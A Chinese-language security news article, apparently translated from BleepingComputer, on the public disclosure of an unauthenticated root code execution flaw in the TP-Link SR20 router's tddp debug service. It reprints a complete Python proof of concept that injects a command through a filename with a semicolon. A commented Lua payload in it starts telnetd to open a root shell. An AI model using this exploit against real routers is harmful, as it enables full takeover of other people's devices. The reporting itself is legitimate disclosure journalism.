0day! 不满无响应,谷歌公开 TP-Link SR20 路由器 0day ACE 和 PoC
编译:代码卫士团队
因漏洞报告提交后90天内仍未收到任何回应,谷歌安全开发员 Matthew Garrett 选择公开 TP-Link SR20 智能家庭路由器中的一个 0day 任意代码执行漏洞。该漏洞可导致位于同一网络的潜在攻击者执行任意命令。
Garrett 在推特发文解释称,这个 0day 漏洞赖以存在的事实是,“TP-Link 路由器常常以 root 权限运行名为‘tddp(TP-Link 设备调试协议)’的进程”,而这个进程此前被指包含其它多个漏洞。
TDDP 允许在设备上运行两种类型的命令:第一种不要求认证,而第二种要求管理员凭证。
允许攻击者以 root 权限执行任意代码
Garret 表示,易受攻击的路由器暴露了多个第一种类型的命令(即不要求认证的命令),其中一种命令 0X1f、请求 0X01“似乎是为某种配置验证设置”,允许准黑客发送一个命令,其中包含一个文件名称、一个分号以及参数来初始化利用进程。
这样指令 TP-Link 路由器将特殊构造的请求通过 Trivial File Transfer Protocol (TFTP) 进行发送。一旦连接到潜在攻击者的机器,SR20 智能路由器“通过 TFTP 请求文件名称,将其导入 LUA 解释器并将参数传递给所导入文件中的 config_test() 函数。该解释器以 root 权限运行。”
接着, os.execute() 方法将允许未经认证的攻击者以 root 权限执行任意命令,从而导致任何被攻陷的 TP-Link SR20 设备被完全接管。
PoC 已发布
虽然 tddp 守护进程旨在监听所有传入流量的接口,但配有默认防火墙的 SR20 路由器将阻止攻击者从设备所在局域网以外的地方利用该0day。
Garret 总结称,TP-Link 应当“停止在生产固件上装载调试守护进程。如果你提供了提交安全问题的网页,就应该真的安排回复接口人。”
Garret 还创建了 PoC,和该 0day 漏洞一同公开发布。具体如下:
#!/usr/bin/python3
# Create /testfile in your tftp root directory with the following contents:
#
#function config_test(config)
# os.execute("telnetd -l /bin/login.sh")
#end
#
# Replace 192.168.0.1 with the IP address of the vulnerable device
import binascii
import socket
port_send = 1040
port_receive = 61000
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
packet = packet + b"/testfile;arbitrary"
print(packet)
sock_send.sendto(packet, ("192.168.0.1", port_send))
sock_send.close()
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)
TP-Link 最近更新 SR20智能家庭路由器的时间是在2018年6月,它从路由器 WEB UI 中删除了 WPS,修复了某些 Smart Actions 中的漏洞,并未多个智能 WiFi 设备增加了支持。
TP-Link 尚未对此事置评。
推荐阅读
原文链接
https://www.bleepingcomputer.com/news/security/zero-day-tp-link-sr20-router-vulnerability-disclosed-by-google-dev/
本文由代码卫士编译,不代表其观点,转载请注明“转自代码卫士 www.codesafe.cn”。
代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。